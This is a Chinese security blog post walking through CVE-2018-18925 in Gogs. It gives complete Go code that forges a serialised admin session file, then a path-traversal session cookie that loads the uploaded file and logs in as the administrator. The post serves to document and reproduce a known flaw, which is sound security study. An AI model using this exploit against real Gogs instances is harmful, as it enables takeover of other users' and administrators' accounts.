Gogs 任意用户登录漏洞


Gogs 任意用户登录漏洞(CVE-2018-18925)

gogs是一款极易搭建的自助Git服务平台,具有易安装、跨平台、轻量级等特点,使用者众多。

其0.11.66及以前版本中,(go-macaron/session库)没有对sessionid进行校验,攻击者利用恶意sessionid即可读取任意文件,通过控制文件内容来控制session内容,进而登录任意账户。

漏洞利用

使用Gob序列化生成session文件:

package main

import (
    "bytes"
    "encoding/gob"
    "encoding/hex"
    "fmt"
    "io/ioutil"
    "os"
)

func EncodeGob(obj map[interface{}]interface{}) ([]byte, error) {
    for _, v := range obj {
        gob.Register(v)
    }
    buf := bytes.NewBuffer(nil)
    err := gob.NewEncoder(buf).Encode(obj)
    return buf.Bytes(), err
}

func main() {
    var uid int64 = 1
    obj := map[interface{}]interface{}{"_old_uid": "1", "uid": uid, "uname": "root"}
    data, err := EncodeGob(obj)
    if err != nil {
        fmt.Println(err)
    }
    err = ioutil.WriteFile("data", data, 0644)
    if err != nil {
        fmt.Println(err)
    }
    edata := hex.EncodeToString(data)
    fmt.Println(edata)
}

然后注册一个普通用户账户,创建项目,并在“版本发布”页面上传刚生成的session文件:

通过这个附件的URL,得知这个文件的文件名:.attachments/f907bf23-08e4-4178-bef7-733499509271

然后,构造Cookie:i_like_gogits=../attachments/2/e/f907bf23-08e4-4178-bef7-733499509271,访问即可发现已经成功登录id=1的用户(即管理员):


文章作者: Geekby
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Geekby !
 上一篇
OpenSSH 用户名枚举漏洞 OpenSSH 用户名枚举漏洞
OpenSSH 用户名枚举漏洞(CVE-2018-15473)OpenSSH 7.7前存在一个用户名枚举漏洞,通过该漏洞,攻击者可以判断某个用户名是否存在于目标主机中。 环境启动后,我们在客户端执行ssh -o StrictHostKeyC
2019-02-19
下一篇 
Hadoop YARN ResourceManager 未授权访问 Hadoop YARN ResourceManager 未授权访问
Hadoop YARN ResourceManager 未授权访问漏洞利用利用方法和原理中有一些不同。在没有 hadoop client 的情况下,直接通过 REST API (https://hadoop.apache.org/docs/
2019-02-19
  目录